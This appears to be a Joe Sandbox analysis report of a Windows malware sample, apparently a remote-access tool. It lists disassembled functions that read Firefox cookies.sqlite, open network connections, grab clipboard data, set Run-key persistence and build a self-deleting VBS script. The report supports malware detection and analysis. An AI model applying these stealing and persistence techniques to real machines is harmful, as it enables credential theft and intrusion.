Function 1234A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,123A58E8), ref: 1234A75E
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 1234A7AD
GetLastError.KERNEL32 ref: 1234A7BB
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 1234A7F3

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: EnumServicesStatus$ErrorLastManagerOpen
String ID:
API String ID: 3587775597-0
Opcode ID: d601eb24ad070c104b7f5b59712a0ed285fe31f546d31787d81b132d7a071b59
Instruction ID: 021211ebcfe7c1384cb7d46c870f97f03e111b20688962dd009977c4363d59db
Opcode Fuzzy Hash: d601eb24ad070c104b7f5b59712a0ed285fe31f546d31787d81b132d7a071b59
Instruction Fuzzy Hash: 1B813976508344ABC366DB60C8949AFB7ECFF94305F504A1EF58696250EF34BB09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1233C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 1233C39B
FindNextFileW.KERNEL32(00000000,?), ref: 1233C46E
FindClose.KERNEL32(00000000), ref: 1233C47D
FindClose.KERNEL32(00000000), ref: 1233C4A8

Strings

\Mozilla\Firefox\Profiles\, xrefs: 1233C36E
AppData, xrefs: 1233C358
\cookies.sqlite, xrefs: 1233C409

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
API String ID: 1164774033-405221262
Opcode ID: ca2aed4c5c61f779917124222abfc8545091ed4c566a9830fdf2c145cc8bf5b7
Instruction ID: 132cb4dd459a79dd594a354501db79298f42dd2c0d49f9079f6b20a458fb2cde
Opcode Fuzzy Hash: ca2aed4c5c61f779917124222abfc8545091ed4c566a9830fdf2c145cc8bf5b7
Instruction Fuzzy Hash: D23184379442196ADB66E7B0DC98DFD777CAF51712F004619E00AA2180EF34AB4ACB44

Uniqueness

Uniqueness Score: -1.00%

Function 1234C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C2EC
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C31C
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C38E
DeleteFileW.KERNEL32(?,?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C39B

Part of subcall function 1234C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C371

GetLastError.KERNEL32(?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C3BC
FindClose.KERNEL32(00000000,?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C3D2
RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C3D9
FindClose.KERNEL32(00000000,?,?,?,?,?,123A52D8,123A52F0,00000001), ref: 1234C3E2

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
String ID:
API String ID: 2341273852-0
Opcode ID: b5e84df84747b4cb0ef23989db8eabd920382d80f099c36830e3839410ea0c3a
Instruction ID: 75d77fd3a9efb1ae3a8786363304ab31af59e837517fc8ae3c7f115549e8414c
Opcode Fuzzy Hash: b5e84df84747b4cb0ef23989db8eabd920382d80f099c36830e3839410ea0c3a
Instruction Fuzzy Hash: E031A57790026C5BDB20DAA0CC88EEB73FCAF44208F600AE5E559E2141EF35EB84CB54

Uniqueness

Uniqueness Score: -1.00%

Function 12339253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 12339258

Part of subcall function 123348C8: connect.WS2_32(FFFFFFFF,124892B8,00000010), ref: 123348E0

Part of subcall function 12334AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 12334B36

__CxxThrowException@8.LIBVCRUNTIME ref: 123392F4
FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 12339352
FindNextFileW.KERNEL32(00000000,?), ref: 123393AA
FindClose.KERNEL32(00000000), ref: 123393C1

Part of subcall function 12334E26: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,123A4EF8,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334E38
Part of subcall function 12334E26: SetEvent.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334E43
Part of subcall function 12334E26: FindCloseChangeNotification.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334E4C

FindClose.KERNEL32(00000000), ref: 123395B9

Part of subcall function 12334AA1: WaitForSingleObject.KERNEL32(00000000,00000000,1233547D,?,?,00000004,?,?,00000004,?,123A4EF8,?), ref: 12334B47
Part of subcall function 12334AA1: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,123A4EF8,?,?,?,?,?,?,1233547D), ref: 12334B75

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Find$Close$EventFileObjectSingleWait$ChangeException@8FirstH_prologNextNotificationThrowconnectsend
String ID:
API String ID: 2435342581-0
Opcode ID: 5d3b9b36eab660c66e910d58e15e83cfa1c9a532d08c2f9533922f02b5c6a4e4
Instruction ID: 5048a4a49422a16a7020710881e21b3bec16346f301fe5bfcf30178c92ed150f
Opcode Fuzzy Hash: 5d3b9b36eab660c66e910d58e15e83cfa1c9a532d08c2f9533922f02b5c6a4e4
Instruction Fuzzy Hash: 98B17D779001199BDB66EBA0DC91EFDB779AF04312F104259E50AA7194EF30BF49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 123467B4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97libraryloadershutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 12347952: GetCurrentProcess.KERNEL32(00000028,?), ref: 1234795F
Part of subcall function 12347952: OpenProcessToken.ADVAPI32(00000000), ref: 12347966
Part of subcall function 12347952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 12347978
Part of subcall function 12347952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 12347997
Part of subcall function 12347952: GetLastError.KERNEL32 ref: 1234799D

ExitWindowsEx.USER32(00000000,00000001), ref: 12346856
LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 1234686B
GetProcAddress.KERNEL32(00000000), ref: 12346872

Strings

SetSuspendState, xrefs: 12346861
PowrProf.dll, xrefs: 12346866

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
String ID: PowrProf.dll$SetSuspendState
API String ID: 1589313981-1420736420
Opcode ID: 0ed498153ba48b2de706069ac15bd8f5fee963728e51322e90729d17ffc79115
Instruction ID: ba2866dd8b4eb1f2d4f20783c9fab8d367ee2e91878c028fc8a75eea8f08bb17
Opcode Fuzzy Hash: 0ed498153ba48b2de706069ac15bd8f5fee963728e51322e90729d17ffc79115
Instruction Fuzzy Hash: 4E21B6BB6143459FCEA6EFB0CC94ABE23EE5F41B41F400C58A081971C1EE65AA05CF61

Uniqueness

Uniqueness Score: -1.00%

Function 12339665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 1233966A
FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 123396E2
FindNextFileW.KERNEL32(00000000,?), ref: 1233970B
FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 12339722

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstH_prologNext
String ID:
API String ID: 1157919129-0
Opcode ID: c31f7233d6e1fd9e281532df9908bceae4bcfbfd7913f71989f785548abc573d
Instruction ID: 7aaf324911104d3e3dc94779c5cea0805b8d614938c15b1e043c6328a045ed05
Opcode Fuzzy Hash: c31f7233d6e1fd9e281532df9908bceae4bcfbfd7913f71989f785548abc573d
Instruction Fuzzy Hash: A7811977800119DBCB66DBA0DC909FDB7B8BF14316F10466AE446A71A0EF34AB49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 12382610 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 12378215: GetLastError.KERNEL32(00000020,?,1236A7F5,?,?,?,1236F9A8,?,?,00000020,00000000,?,?,?,1235DD01,0000003B), ref: 12378219
Part of subcall function 12378215: _free.LIBCMT ref: 1237824C
Part of subcall function 12378215: SetLastError.KERNEL32(00000000,1236F9A8,?,?,00000020,00000000,?,?,?,1235DD01,0000003B,?,00000041,00000000,00000000), ref: 1237828D
Part of subcall function 12378215: _abort.LIBCMT ref: 12378293

Part of subcall function 12378215: _free.LIBCMT ref: 12378274
Part of subcall function 12378215: SetLastError.KERNEL32(00000000,1236F9A8,?,?,00000020,00000000,?,?,?,1235DD01,0000003B,?,00000041,00000000,00000000), ref: 12378281

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 1238271C
IsValidCodePage.KERNEL32(00000000), ref: 12382777
IsValidLocale.KERNEL32(?,00000001), ref: 12382786
GetLocaleInfoW.KERNEL32(?,00001001,12374A6C,00000040,?,12374B8C,00000055,00000000,?,?,00000055,00000000), ref: 123827CE
GetLocaleInfoW.KERNEL32(?,00001002,12374AEC,00000040), ref: 123827ED

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 3eb1958f35ce890f68ff7277d1eb0fdcb824e3b362a248c121e1a2b5a7bdb3d9
Instruction ID: f6582d83a222f21d24fd63777f280ad3a7a7b0e21e11e3a7fdc468ed8f3b9210
Opcode Fuzzy Hash: 3eb1958f35ce890f68ff7277d1eb0fdcb824e3b362a248c121e1a2b5a7bdb3d9
Instruction Fuzzy Hash: 35517E77900259ABEF10DBA5CC84EFAB7B8AF58700F414769E954EF191E770AA00CB61

Uniqueness

Uniqueness Score: -1.00%

Function 14644AB4 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,14644A8A,?,14652238,0000000C,14644BBD,00000000,00000000,00000001,14642082,14652108,0000000C,14641F3A,?), ref: 14644AD5
TerminateProcess.KERNEL32(00000000,?,14644A8A,?,14652238,0000000C,14644BBD,00000000,00000000,00000001,14642082,14652108,0000000C,14641F3A,?), ref: 14644ADC
ExitProcess.KERNEL32 ref: 14644AEE

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 963819a694bcc1539e3d2d00772d3d43af7752de524663cf03860bd13ded104a
Instruction ID: 900b338158f01663df4267886e4e406d921147b0e453c9650ab5f91823f7dbb3
Opcode Fuzzy Hash: 963819a694bcc1539e3d2d00772d3d43af7752de524663cf03860bd13ded104a
Instruction Fuzzy Hash: CFE04F35400114AFCF126F14DD89A493B2DEF60749B284024F90447561CB35EC83CA44

Uniqueness

Uniqueness Score: -1.00%

Function 123732B5 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,1237328B,?), ref: 123732D6
TerminateProcess.KERNEL32(00000000,?,1237328B,?), ref: 123732DD
ExitProcess.KERNEL32 ref: 123732EF

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2f5af13b26b6cd7b5a5941550b32dc10ba4181751858d391d4334185892dca7c
Instruction ID: ad7f27b8e8d91fd5bc9a665bd27ccd94725d30178a94fcc84172f2abd90fcc83
Opcode Fuzzy Hash: 2f5af13b26b6cd7b5a5941550b32dc10ba4181751858d391d4334185892dca7c
Instruction Fuzzy Hash: 26E0867249118CEFCF125F54CC4DA983B6DFF84751F004614F90A4A220CB3AE941CB81

Uniqueness

Uniqueness Score: -1.00%

Function 1233B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 1233B711
GetClipboardData.USER32(0000000D), ref: 1233B71D
CloseClipboard.USER32 ref: 1233B725

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: e38c508bf9d343da422eca1962b1d1f6de5657038e580a3e48bdb28f47c12e17
Instruction ID: 383e4654ed063a115fa419db9397ed2aa0a2a6a4eb2426f59934913d012a5cf8
Opcode Fuzzy Hash: e38c508bf9d343da422eca1962b1d1f6de5657038e580a3e48bdb28f47c12e17
Instruction Fuzzy Hash: E0E01276A857309FD3269B608C88BDA7B99DF91B52F418A18F54DAF284D770C900CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00401108 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?), ref: 0040111D

Strings

%c%02d%02d, xrefs: 00401167

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: InformationTimeZone
String ID: %c%02d%02d
API String ID: 565725191-130934884
Opcode ID: 32cf130213eecde94f51183987d16ea9f05b90516b33602c580cd9a43cce8069
Instruction ID: db6e9c4b4596cdb9f36f65c264d6bf5f60ea79063c65877f082d70517f5d5989
Opcode Fuzzy Hash: 32cf130213eecde94f51183987d16ea9f05b90516b33602c580cd9a43cce8069
Instruction Fuzzy Hash: 67F0C2B2F1222597EB18D56A8C82E5B735ECB49324F1841BAF94DF7390E138DD0086A9

Uniqueness

Uniqueness Score: -1.00%

Function 005C5A34 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

, xrefs: 005C5BB4

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
Instruction ID: d698cc67ebcda8e1753ef9bc8fd89a4a1712b0b114d5afbe3312bc8b6c1e68d7
Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
Instruction Fuzzy Hash: 0C513D719006098FEB24CFA9D985B9EBFF4FB48314F24856ED419E7264E378A980CF50

Uniqueness

Uniqueness Score: -1.00%

Function 005D4097 Relevance: 1.3, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Strings

PkGNG, xrefs: 005D4099

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID: PkGNG
API String ID: 0-263838557
Opcode ID: 2714db990c485d3c482822e4496f4e6700112c11046368f118222e6140812f9a
Instruction ID: 1d0b61a1534f5a28c866cdf3a94cd12903ffcd6a81b0139a2722384c6c65163a
Opcode Fuzzy Hash: 2714db990c485d3c482822e4496f4e6700112c11046368f118222e6140812f9a
Instruction Fuzzy Hash: A3E0B632000248FBCF21AF58DD0DA993FAAFB40352F044966F9058B636DB36DD92CE45

Uniqueness

Uniqueness Score: -1.00%

Function 004018AE Relevance: 68.5, APIs: 20, Strings: 19, Instructions: 297stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000100), ref: 004018E5
lstrlenA.KERNEL32(?), ref: 00401957
CharLowerBuffA.USER32(?,00000000,?), ref: 00401964
OpenSemaphoreA.KERNEL32(001F0003,00000000,?), ref: 0040199D
CloseHandle.KERNEL32(00000000), ref: 004019A7

Part of subcall function 00401612: RegOpenKeyA.ADVAPI32(80000000,?,?), ref: 0040163A

Strings

Restarting Mercury after apparent abnormal termination, xrefs: 00401C2F
:\/, xrefs: 00401975
W, xrefs: 00401B59
mercury32.pmail.com.run.%.60s, xrefs: 0040193C
D, xrefs: 00401A77
Mercury/32 Loader Started, xrefs: 0040192A
Restarting Mercury after scheduled daily exit, xrefs: 00401C21
Abnormal terminations continued after attempted recovery - exiting., xrefs: 00401C59
Multiple sessions from the same install directory detected - terminating, xrefs: 004019BF
%s\mercury.exe -E, xrefs: 004019E8
Loader encountered Windows error %d creating Mercury/32 process., xrefs: 00401AD8
There is already a copy of Mercury/32 running from this directory.Only one copy may be run at a time from any given install directory., xrefs: 004019B3
%s\m32-ssu.run, xrefs: 00401BEB
Normal operation restored - resetting counters., xrefs: 00401B93
Recovery complete - attempting to restart Mercury., xrefs: 00401C7A
%s\m32.run, xrefs: 00401BB7
Too many abnormal terminations in time period - attempting recovery., xrefs: 00401C66
Mercury/32 Loader shutting down., xrefs: 00401C93
Mercury/32 Loader Error, xrefs: 004019AE

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: Open$BuffCharCloseFileHandleLowerModuleNameSemaphorelstrlen
String ID: %s\m32-ssu.run$%s\m32.run$%s\mercury.exe -E$:\/$Abnormal terminations continued after attempted recovery - exiting.$D$Loader encountered Windows error %d creating Mercury/32 process.$Mercury/32 Loader Error$Mercury/32 Loader Started$Mercury/32 Loader shutting down.$Multiple sessions from the same install directory detected - terminating$Normal operation restored - resetting counters.$Recovery complete - attempting to restart Mercury.$Restarting Mercury after apparent abnormal termination$Restarting Mercury after scheduled daily exit$There is already a copy of Mercury/32 running from this directory.Only one copy may be run at a time from any given install directory.$Too many abnormal terminations in time period - attempting recovery.$W$mercury32.pmail.com.run.%.60s
API String ID: 527459832-2152591341
Opcode ID: b0d4473151f15ca73830767efba8d346a64182bbbe90ef72b456baf54c05cbdd
Instruction ID: 9b5fbd67cbc3e190377a54b581c7df8cf1cf74e5fc47f7b393678a9f4ffd1dd2
Opcode Fuzzy Hash: b0d4473151f15ca73830767efba8d346a64182bbbe90ef72b456baf54c05cbdd
Instruction Fuzzy Hash: 82A19AB19443196ADB10E7A18C43FEA73789F44704F1045BFF644B61D2EBBC96888EAD

Uniqueness

Uniqueness Score: -1.00%

Function 1234B047 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 180synchronizationCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 1234B13C
mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 1234B150
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,123960A4), ref: 1234B178
PathFileExistsW.SHLWAPI(00000000,00000000,00000000,123A4EE0,00000000), ref: 1234B18E
mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 1234B1CF
mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 1234B1E7
mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 1234B1FC
SetEvent.KERNEL32 ref: 1234B219
WaitForSingleObject.KERNEL32(000001F4), ref: 1234B22A
CloseHandle.KERNEL32 ref: 1234B23A
mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 1234B25C
mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 1234B266

Strings

pause audio, xrefs: 1234B1CA
play audio, xrefs: 1234B14B
stopped, xrefs: 1234B202
" type , xrefs: 1234B0D5
status audio mode, xrefs: 1234B1F7
resume audio, xrefs: 1234B1E2
alias audio, xrefs: 1234B0B8
close audio, xrefs: 1234B261
open ", xrefs: 1234B0D0
stop audio, xrefs: 1234B257

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped
API String ID: 738084811-1354618412
Opcode ID: 3346f35e356ac6c7a744b53d370f61b51a8bf87c58edbfd3ed28f790061be05d
Instruction ID: aaeab8e4310ad0c48829dfd6c726097398192754f53b34e7203b37d985ab296f
Opcode Fuzzy Hash: 3346f35e356ac6c7a744b53d370f61b51a8bf87c58edbfd3ed28f790061be05d
Instruction Fuzzy Hash: EB51E3B76442446FD665A730CC90EBF37ADEB85355F104A29F14A86190EF20AE08C762

Uniqueness

Uniqueness Score: -1.00%

Function 1233D096 Relevance: 37.0, APIs: 6, Strings: 15, Instructions: 260registryCOMMON

Download Yara Rule

APIs

Part of subcall function 12342850: TerminateProcess.KERNEL32(00000000,pth_unenc,1233F8C8), ref: 12342860
Part of subcall function 12342850: WaitForSingleObject.KERNEL32(000000FF), ref: 12342873

GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,123A52F0,?,pth_unenc), ref: 1233D1A5
RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 1233D1B8
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,123A52F0,?,pth_unenc), ref: 1233D1E8
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,123A52F0,?,pth_unenc), ref: 1233D1F7

Part of subcall function 1233B8AC: TerminateThread.KERNEL32(Function_0000A27D,00000000,123A52F0,pth_unenc,1233D0B8,123A52D8,123A52F0,?,pth_unenc), ref: 1233B8BB
Part of subcall function 1233B8AC: UnhookWindowsHookEx.USER32(123A50F0), ref: 1233B8C7
Part of subcall function 1233B8AC: TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 1233B8D5

Part of subcall function 1234B978: GetCurrentProcessId.KERNEL32(00000000,771B3530,00000000,?,?,?,?,12396468,1233D20D,.vbs,?,?,?,?,?,123A52F0), ref: 1234B99F

ShellExecuteW.SHELL32(00000000,open,00000000,12396468,12396468,00000000), ref: 1233D412
ExitProcess.KERNEL32 ref: 1233D419

Strings

Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 1233D285
fso.DeleteFile(Wscript.ScriptFullName), xrefs: 1233D3C1
fso.DeleteFolder ", xrefs: 1233D38A
On Error Resume Next, xrefs: 1233D294
open, xrefs: 1233D40C
fso.DeleteFile ", xrefs: 1233D315
while fso.FileExists(", xrefs: 1233D2C8
pth_unenc, xrefs: 1233D09C
wend, xrefs: 1233D364
"), xrefs: 1233D2B1
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 1233D138
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 1233D0E7
.vbs, xrefs: 1233D201
Temp, xrefs: 1233D246
exepath, xrefs: 1233D181

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
String ID: ")$.vbs$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$pth_unenc$wend$while fso.FileExists("
API String ID: 3797177996-3018399277
